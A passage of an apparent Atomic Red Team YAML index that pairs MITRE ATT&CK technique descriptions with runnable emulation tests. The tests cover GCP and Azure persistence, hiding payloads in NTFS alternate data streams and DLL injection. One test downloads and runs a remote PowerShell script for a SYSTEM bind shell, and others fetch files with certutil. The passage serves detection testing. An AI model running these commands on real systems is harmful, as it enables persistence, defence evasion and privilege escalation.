      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1078.004
    atomic_tests:
    - name: Creating GCP Service Account and Service Account Key
      auto_generated_guid: 9fdd83fd-bd53-46e5-a716-9dec89c8ae8e
      description: 'GCP Service Accounts can be used to gain intial access as well
        as maintain persistence inside Google Cloud.

        '
      supported_platforms:
      - google-workspace
      - iaas:gcp
      input_arguments:
        project-id:
          description: ID of the project, you want to create service account as well
            as service account key for
          type: string
          default: art-project-1
        service-account-name:
          description: Name of the service account
          type: string
          default: gcp-art-service-account-1
        service-account-email:
          description: Email of the service account
          type: string
          default: gcp-art-service-account-1@art-project-1.iam.gserviceaccount.com
        output-key-file:
          description: Email of the service account
          type: string
          default: gcp-art-service-account-1.json
      executor:
        name: sh
        elevation_required: false
        command: |
          gcloud config set project #{project-id}
          gcloud iam service-accounts create #{service-account-name}
          gcloud iam service-accounts keys create #{output-key-file} --iam-account=#{service-account-email}
        cleanup_command: 'gcloud iam service-accounts delete #{service-account-email}
          --quiet

          '
      dependency_executor_name: sh
      dependencies:
      - description: 'Requires gcloud

          '
        prereq_command: 'if [ -x "$(command -v gcloud)" ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: 'echo "Please Install Google Cloud SDK before running
          this atomic test : https://cloud.google.com/sdk/docs/install"

          '
      - description: "Check if user is logged in \n"
        prereq_command: 'gcloud config get-value account

          '
        get_prereq_command: 'gcloud auth login --no-launch-browser

          '
    - name: Azure Persistence Automation Runbook Created or Modified
      auto_generated_guid: 348f4d14-4bd3-4f6b-bd8a-61237f78b3ac
      description: |
        Identifies when an Azure Automation runbook is created or modified. An adversary may create or modify an Azure
        Automation runbook to execute malicious code and maintain persistence in their target's environment.
      supported_platforms:
      - iaas:azure
      input_arguments:
        username:
          description: Azure username
          type: string
          default: 
        password:
          description: Azure password
          type: string
          default: 
        resource_group:
          description: Name of the resource group
          type: string
          default: 
        runbook_name:
          description: Name of the runbook name
          type: string
          default: 
        automation_account_name:
          description: Name of the automation account name
          type: string
          default: 
      dependency_executor_name: powershell
      dependencies:
      - description: 'Check if terraform is installed.

          '
        prereq_command: 'terraform version

          '
        get_prereq_command: 'echo Please install terraform.

          '
      - description: 'Install-Module -Name Az

          '
        prereq_command: 'try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue)
          {exit 0} else {exit 1}} catch {exit 1}

          '
        get_prereq_command: 'Install-Module -Name Az -Scope CurrentUser -Force

          '
      - description: 'Check if the user is logged into Azure.

          '
        prereq_command: 'az account show

          '
        get_prereq_command: "echo Configure your Azure account using: az login. \n"
      - description: 'Create dependency resources using terraform

          '
        prereq_command: 'try {if (Test-Path "$PathToAtomicsFolder/T1078.004/src/T1078.004-2/terraform.tfstate"
          ){ exit 0 } else {exit 1}} catch {exit 1}

          '
        get_prereq_command: |
          cd "$PathToAtomicsFolder/T1078.004/src/T1078.004-2/"
          terraform init
          terraform apply -auto-approve
      executor:
        command: |
          $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
          $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
          Connect-AzAccount -Credential $creds
          New-AzAutomationRunbook -Name #{runbook_name} -Type PowerShell -ResourceGroupName #{resource_group} -Description 'my-test-runbook' -AutomationAccountName #{automation_account_name}
        name: powershell
        elevation_required: false
        cleanup_command: |
          Remove-AzAutomationRunbook -AutomationAccountName #{automation_account_name} -Name #{runbook_name} -ResourceGroupName #{resource_group} -Force
          cd "$PathToAtomicsFolder/T1078.004/src/T1078.004-2/"
          terraform destroy -auto-approve
    - name: GCP - Create Custom IAM Role
      auto_generated_guid: 3a159042-69e6-4398-9a69-3308a4841c85
      description: "This atomic will create a new IAM role. The default role permissions
        are: *IAM Service Account Get*. The idea for this Atomic came from a Rule
        published by the Elastic team.\n\nIdentifies an Identity and Access Management
        (IAM) custom role creation in Google Cloud Platform (GCP). \nCustom roles
        are user-defined, and allow for the bundling of one or more supported permissions
        to meet specific needs. \nCustom roles will not be updated automatically and
        could lead to privilege creep if not carefully scrutinized.\n\nThis atomic
        will create a new IAM role. The default role permissions are: *IAM Service
        Account Get*\n\nReference: https://github.com/elastic/detection-rules/blob/main/rules/integrations/gcp/initial_access_gcp_iam_custom_role_creation.toml\n"
      supported_platforms:
      - iaas:gcp
      input_arguments:
        project-id:
          description: ID of the GCP Project you to execute the command against.
          type: string
          default: atomic-test-1
        role-name:
          description: The name of the role to be created.
          type: string
          default: AtomicRedTeamRole
        role-description:
          description: The description of the role to be created.
          type: string
          default: Atomic Red Team Custom IAM Role
        roles:
          description: List of roles to be applied
          type: string
          default: iam.serviceAccounts.get
      executor:
        name: sh
        elevation_required: false
        command: |
          gcloud config set project #{project-id}
          gcloud iam roles create #{role-name} --description="#{role-description}" --permissions=#{roles} --project=#{project-id}
        cleanup_command: 'gcloud iam roles delete #{role-name} --project=#{project-id}

          '
      dependency_executor_name: sh
      dependencies:
      - description: 'Requires gcloud

          '
        prereq_command: 'if [ -x "$(command -v gcloud)" ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: 'echo "Please Install Google Cloud SDK before running
          this atomic test : https://cloud.google.com/sdk/docs/install"

          '
      - description: "Check if user is logged in \n"
        prereq_command: 'gcloud config get-value account

          '
        get_prereq_command: 'gcloud auth login --no-launch-browser

          '
  T1480.001:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Nick Carr, Mandiant
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995
      created: '2020-06-23T22:28:28.041Z'
      x_mitre_version: '1.0'
      external_references:
      - source_name: mitre-attack
        external_id: T1480.001
        url: https://attack.mitre.org/techniques/T1480/001
      - source_name: Proofpoint Router Malvertising
        url: https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices
        description: Kafeine. (2016, December 13). Home Routers Under Attack via Malvertising
          on Windows, Android Devices. Retrieved January 16, 2019.
      - source_name: Kaspersky Gauss Whitepaper
        url: https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134940/kaspersky-lab-gauss.pdf
        description: 'Kaspersky Lab. (2012, August). Gauss: Abnormal Distribution.
          Retrieved January 17, 2019.'
      - source_name: 'Ebowla: Genetic Malware'
        url: https://github.com/Genetic-Malware/Ebowla/blob/master/Eko_2016_Morrow_Pitts_Master.pdf
        description: 'Morrow, T., Pitts, J. (2016, October 28). Genetic Malware: Designing
          Payloads for Specific Targets. Retrieved January 18, 2019.'
      - source_name: EK Clueless Agents
        url: https://www.schneier.com/academic/paperfiles/paper-clueless-agents.pdf
        description: Riordan, J., Schneier, B. (1998, June 18). Environmental Key
          Generation towards Clueless Agents. Retrieved January 18, 2019.
      - source_name: EK Impeding Malware Analysis
        url: https://pdfs.semanticscholar.org/2721/3d206bc3c1e8c229fb4820b6af09e7f975da.pdf
        description: Song, C., et al. (2012, August 7). Impeding Automated Malware
          Analysis with Environment-sensitive Malware. Retrieved January 18, 2019.
      - source_name: Demiguise Guardrail Router Logo
        url: https://github.com/nccgroup/demiguise/blob/master/examples/virginkey.js
        description: 'Warren, R. (2017, August 2). Demiguise: virginkey.js. Retrieved
          January 17, 2019.'
      - source_name: Environmental Keyed HTA
        url: https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/smuggling-hta-files-in-internet-exploreredge/
        description: Warren, R. (2017, August 8). Smuggling HTA files in Internet
          Explorer/Edge. Retrieved January 16, 2019.
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of [Execution Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents)

        Values can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).

        Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.

        Like other [Execution Guardrails](https://attack.mitre.org/techniques/T1480), environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.
      modified: '2022-05-24T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Environmental Keying
      x_mitre_detection: Detecting the use of environmental keying may be difficult
        depending on the implementation. Monitoring for suspicious processes being
        spawned that gather a variety of system information or perform other forms
        of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short
        period of time, may aid in detection.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Host Forensic Analysis
      - Signature-based Detection
      - Static File Analysis
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1564.004:
    technique:
      modified: '2024-02-14T21:56:34.831Z'
      name: 'Hide Artifacts: NTFS File Attributes'
      description: |-
        Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)

        Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Oddvar Moe, @oddvarmoe
      - Red Canary
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the <code>ZwSetEaFile</code> and <code>ZwQueryEaFile</code> Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)

        There are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: <code>file.ext:ads[.ext]</code>) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f.

        The Streams tool of Sysinternals can be used to uncover files with ADSs. The <code>dir /r</code> command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a <code>-stream</code> parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'File: File Metadata'
      - 'Process: OS API Execution'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Host forensic analysis
      - Signature-based detection
      x_mitre_system_requirements:
      - NTFS partitioned hard drive
      type: attack-pattern
      id: attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5
      created: '2020-03-13T20:33:00.009Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1564/004
        external_id: T1564.004
      - source_name: MalwareBytes ADS July 2015
        description: Arntz, P. (2015, July 22). Introduction to Alternate Data Streams.
          Retrieved March 21, 2018.
        url: https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/
      - source_name: SpectorOps Host-Based Jul 2017
        description: Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator
          Design. Retrieved March 21, 2018.
        url: https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea
      - source_name: Journey into IR ZeroAccess NTFS EA
        description: Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS
          Extended Attributes. Retrieved June 3, 2016.
        url: http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html
      - source_name: Microsoft NTFS File Attributes Aug 2010
        description: Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved
          March 21, 2018.
        url: https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/
      - source_name: Microsoft ADS Mar 2014
        description: Marlin, J. (2013, March 24). Alternate Data Streams in NTFS.
          Retrieved March 21, 2018.
        url: https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/
      - source_name: Microsoft File Streams
        description: Microsoft. (n.d.). File Streams. Retrieved December 2, 2014.
        url: http://msdn.microsoft.com/en-us/library/aa364404
      - source_name: Oddvar Moe ADS2 Apr 2018
        description: Moe, O. (2018, April 11). Putting Data in Alternate Data Streams
          and How to Execute It - Part 2. Retrieved June 30, 2018.
        url: https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
      - source_name: Oddvar Moe ADS1 Jan 2018
        description: Moe, O. (2018, January 14). Putting Data in Alternate Data Streams
          and How to Execute It. Retrieved June 30, 2018.
        url: https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/
      - source_name: Symantec ADS May 2009
        description: Pravs. (2009, May 25). What you need to know about alternate
          data streams in windows? Is your Data secure? Can you restore that?. Retrieved
          March 21, 2018.
        url: https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1564.004
    atomic_tests:
    - name: Alternate Data Streams (ADS)
      auto_generated_guid: 8822c3b0-d9f9-4daf-a043-49f4602364f4
      description: |
        Execute from Alternate Streams

        [Reference - 1](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)

        [Reference - 2](https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/)
      supported_platforms:
      - windows
      input_arguments:
        path:
          description: Path of ADS file
          type: path
          default: c:\ADS\
      executor:
        command: "type C:\\temp\\evil.exe > \"C:\\Program Files (x86)\\TeamViewer\\TeamViewer12_Logfile.log:evil.exe\"\nextrac32
          #{path}\\procexp.cab #{path}\\file.txt:procexp.exe\nfindstr /V /L W3AllLov3DonaldTrump
          #{path}\\procexp.exe > #{path}\\file.txt:procexp.exe\ncertutil.exe -urlcache
          -split -f https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1564.004/src/test.ps1
          c:\\temp:ttt\nmakecab #{path}\\autoruns.exe #{path}\\cabtest.txt:autoruns.cab\nprint
          /D:#{path}\\file.txt:autoruns.exe #{path}\\Autoruns.exe\nreg export HKLM\\SOFTWARE\\Microsoft\\Evilreg
          #{path}\\file.txt:evilreg.reg\nregedit /E #{path}\\file.txt:regfile.reg
          HKEY_CURRENT_USER\\MyCustomRegKey\nexpand \\\\webdav\\folder\\file.bat #{path}\\file.txt:file.bat\nesentutl.exe
          /y #{path}\\autoruns.exe /d #{path}\\file.txt:autoruns.exe /o \n"
        name: command_prompt
        elevation_required: true
    - name: Store file in Alternate Data Stream (ADS)
      auto_generated_guid: 2ab75061-f5d5-4c1a-b666-ba2a50df5b02
      description: |
        Storing files in Alternate Data Stream (ADS) similar to Astaroth malware.
        Upon execution cmd will run and attempt to launch desktop.ini. No windows remain open after the test
      supported_platforms:
      - windows
      input_arguments:
        payload_path:
          description: Path of file to hide in ADS
          type: path
          default: c:\windows\system32\cmd.exe
        ads_file_path:
          description: Path of file to create an ADS under
          type: path
          default: C:\Users\Public\Libraries\yanki\desktop.ini
        ads_name:
          description: Name of ADS
          type: string
          default: desktop.ini
      executor:
        command: |
          if (!(Test-Path C:\Users\Public\Libraries\yanki -PathType Container)) {
              New-Item -ItemType Directory -Force -Path C:\Users\Public\Libraries\yanki
              }
          Start-Process -FilePath "$env:comspec" -ArgumentList "/c,type,#{payload_path},>,`"#{ads_file_path}:#{ads_name}`""
        cleanup_command: 'Remove-Item "#{ads_file_path}" -Force -ErrorAction Ignore

          '
        name: powershell
    - name: Create ADS command prompt
      auto_generated_guid: 17e7637a-ddaf-4a82-8622-377e20de8fdb
      description: |
        Create an Alternate Data Stream with the command prompt. Write access is required. Upon execution, run "dir /a-d /s /r | find ":$DATA"" in the %temp%
        folder to view that the alternate data stream exists. To view the data in the alternate data stream, run "notepad T1564.004_has_ads.txt:adstest.txt"
      supported_platforms:
      - windows
      input_arguments:
        file_name:
          description: File name of file to create ADS on.
          type: string
          default: "%temp%\\T1564.004_has_ads_cmd.txt"
        ads_filename:
          description: Name of ADS.
          type: string
          default: adstest.txt
      executor:
        command: |
          echo cmd /c echo "Shell code execution."> #{file_name}:#{ads_filename}
          for /f "usebackq delims=?" %i in (#{file_name}:#{ads_filename}) do %i
        cleanup_command: 'del #{file_name} >nul 2>&1

          '
        name: command_prompt
    - name: Create ADS PowerShell
      auto_generated_guid: 0045ea16-ed3c-4d4c-a9ee-15e44d1560d1
      description: |
        Create an Alternate Data Stream with PowerShell. Write access is required. To verify execution, the the command "ls -Recurse | %{ gi $_.Fullname -stream *} | where stream -ne ':$Data' | Select-Object pschildname"
        in the %temp% direcotry to view all files with hidden data streams. To view the data in the alternate data stream, run "notepad.exe T1564.004_has_ads_powershell.txt:adstest.txt" in the %temp% folder.
      supported_platforms:
      - windows
      input_arguments:
        file_name:
          description: File name of file to create ADS on.
          type: string
          default: "$env:TEMP\\T1564.004_has_ads_powershell.txt"
        ads_filename:
          description: Name of ADS file.
          type: string
          default: adstest.txt
      dependency_executor_name: powershell
      dependencies:
      - description: 'The file must exist on disk at specified location (#{file_name})

          '
        prereq_command: 'if (Test-Path #{file_name}) { exit 0 } else { exit 1 }

          '
        get_prereq_command: 'New-Item -Path #{file_name} | Out-Null

          '
      executor:
        command: |
          echo "test" > #{file_name} | set-content -path test.txt -stream #{ads_filename} -value "test"
          set-content -path #{file_name} -stream #{ads_filename} -value "test2"
          set-content -path . -stream #{ads_filename} -value "test3"
        cleanup_command: 'Remove-Item -Path #{file_name} -ErrorAction Ignore

          '
        name: powershell
    - name: Create Hidden Directory via $index_allocation
      auto_generated_guid: 3e6791e7-232c-481c-a680-a52f86b83fdf
      description: "Create an Alternate Data Stream Directory and File with the command
        prompt. Write access is required. Upon execution, \nrun \"dir /A /Q /R\" in
        the %temp% folder to view that the alternate data stream folder exists. To
        view the data in the  \nalternate data stream, run \"type %temp%\\...$.......::$index_allocation\\secrets.txt\"\n"
      supported_platforms:
      - windows
      input_arguments:
        folder_name:
          description: File name of file to create inside the folder.
          type: string
          default: "%temp%\\...$.......::$index_allocation"
        hidden_filename:
          description: Name of the files containing the hidden information
          type: string
          default: secrets.txt
      executor:
        command: |
          md #{folder_name}
          echo too many secrets > #{folder_name}\#{hidden_filename}
        cleanup_command: 'rmdir /S /Q #{folder_name} >nul 2>&1

          '
        name: command_prompt
  T1055.001:
    technique:
      modified: '2023-08-11T21:34:38.558Z'
      name: 'Process Injection: Dynamic-link Library Injection'
      description: "Adversaries may inject dynamic-link libraries (DLLs) into processes
        in order to evade process-based defenses as well as possibly elevate privileges.
        DLL injection is a method of executing arbitrary code in the address space
        of a separate live process.  \n\nDLL injection is commonly performed by writing
        the path to a DLL in the virtual address space of the target process before
        loading the DLL by invoking a new thread. The write can be performed with
        native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>,
        then invoked with <code>CreateRemoteThread</code> (which calls the <code>LoadLibrary</code>
        API responsible for loading the DLL). (Citation: Elastic Process Injection
        July 2017) \n\nVariations of this method such as reflective DLL injection
        (writing a self-mapping DLL into a process) and memory module (map DLL when
        writing into process) overcome the address relocation issue as well as the
        additional APIs to invoke execution (since these methods load and execute
        the files in memory by manually preforming the function of <code>LoadLibrary</code>).(Citation:
        Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July
        2017) \n\nAnother variation of this method, often referred to as Module Stomping/Overloading
        or DLL Hollowing, may be leveraged to conceal injected code within a process.
        This method involves loading a legitimate DLL into a remote process then manually
        overwriting the module's <code>AddressOfEntryPoint</code> before starting
        a new thread in the target process.(Citation: Module Stomping for Shellcode
        Injection) This variation allows attackers to hide malicious injected code
        by potentially backing its execution with a legitimate DLL file on disk.(Citation:
        Hiding Malicious Code with Module Stomping) \n\nRunning code in the context
        of another process may allow access to the process's memory, system/network
        resources, and possibly elevated privileges. Execution via DLL injection may
        also evade detection from security products since the execution is masked
        under a legitimate process. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Boominathan Sundaram
      x_mitre_deprecated: false
      x_mitre_detection: "Monitoring Windows API calls indicative of the various types
        of code injection may generate a significant amount of data and may not be
        directly useful for defense unless collected under specific circumstances
        for known bad sequences of calls, since benign use of API functions may be
        common and difficult to distinguish from malicious behavior. Windows API calls
        such as <code>CreateRemoteThread</code> and those that can be used to modify
        memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>,
        may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nMonitor
        DLL/PE file events, specifically creation of these binary files as well as
        the loading of DLLs into processes. Look for DLLs that are not recognized
        or not normally loaded into a process. \n\nAnalyze process behavior to determine
        if a process is performing actions it usually does not, such as opening network
        connections, reading files, or other suspicious actions that could relate
        to post-compromise behavior. "
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Process: Process Metadata'
      - 'Process: Process Access'
      - 'Process: Process Modification'
      - 'Module: Module Load'
      - 'Process: OS API Execution'
      x_mitre_defense_bypassed:
      - Application control
      - Anti-virus
      x_mitre_permissions_required:
      - User
      type: attack-pattern
      id: attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945
      created: '2020-01-14T01:26:08.145Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1055/001
        external_id: T1055.001
      - source_name: Hiding Malicious Code with Module Stomping
        description: 'Aliz Hammond. (2019, August 15). Hiding Malicious Code with
          "Module Stomping": Part 1. Retrieved July 14, 2022.'
        url: https://blog.f-secure.com/hiding-malicious-code-with-module-stomping/
      - source_name: Elastic HuntingNMemory June 2017
        description: Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December
          7, 2017.
        url: https://www.endgame.com/blog/technical-blog/hunting-memory
      - source_name: Elastic Process Injection July 2017
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
      - source_name: Module Stomping for Shellcode Injection
        description: Red Teaming Experiments. (n.d.). Module Stomping for Shellcode
          Injection. Retrieved July 14, 2022.
        url: https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1055.001
    atomic_tests:
    - name: Process Injection via mavinject.exe
      auto_generated_guid: 74496461-11a1-4982-b439-4d87a550d254
      description: |
        Windows 10 Utility To Inject DLLS.

        Upon successful execution, powershell.exe will download T1055.dll to disk. Powershell will then spawn mavinject.exe to perform process injection in T1055.dll.
        With default arguments, expect to see a MessageBox, with notepad's icon in taskbar.
      supported_platforms:
      - windows
      input_arguments:
        process_id:
          description: PID of input_arguments
          type: string
          default: "(Start-Process notepad -PassThru).id"
        dll_payload:
          description: DLL to Inject
          type: path
          default: PathToAtomicsFolder\T1055.001\src\x64\T1055.001.dll
      dependency_executor_name: powershell
      dependencies:
      - description: 'Utility to inject must exist on disk at specified location (#{dll_payload})

          '
        prereq_command: 'if (Test-Path "#{dll_payload}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{dll_payload}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.001/src/x64/T1055.001.dll" -OutFile "#{dll_payload}"
      executor:
        command: |
          $mypid = #{process_id}
          mavinject $mypid /INJECTRUNNING "#{dll_payload}"
          Stop-Process -processname notepad
        name: powershell
        elevation_required: true
    - name: WinPwn - Get SYSTEM shell - Bind System Shell using UsoClient DLL load
        technique
      auto_generated_guid: 8b56f787-73d9-4f1d-87e8-d07e89cbc7f5
      description: Get SYSTEM shell - Bind System Shell using UsoClient DLL load technique
        via function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/UsoDLL/Get-UsoClientDLLSystem.ps1')
        name: powershell
  T1556:
    technique:
      modified: '2024-04-11T21:51:44.851Z'
      name: Modify Authentication Process
      description: |-
        Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).

        Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_contributors:
      - Chris Ross @xorrior
      x_mitre_deprecated: false
      x_mitre_detection: "Monitor for new, unfamiliar DLL files written to a domain
        controller and/or local computer. Monitor for changes to Registry entries
        for password filters (ex: <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification
        Packages</code>) and correlate then investigate the DLL files these files
        reference. \n\nPassword filters will also show up as an autorun and loaded
        DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)\n\nMonitor
        for calls to <code>OpenProcess</code> that can be used to manipulate lsass.exe
        running on a domain controller as well as for malicious modifications to functions
        exported from authentication-related system DLLs (such as cryptdll.dll and
        samsrv.dll).(Citation: Dell Skeleton) \n\nMonitor PAM configuration and module
        paths (ex: <code>/etc/pam.d/</code>) for changes. Use system-integrity tools
        such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nMonitor
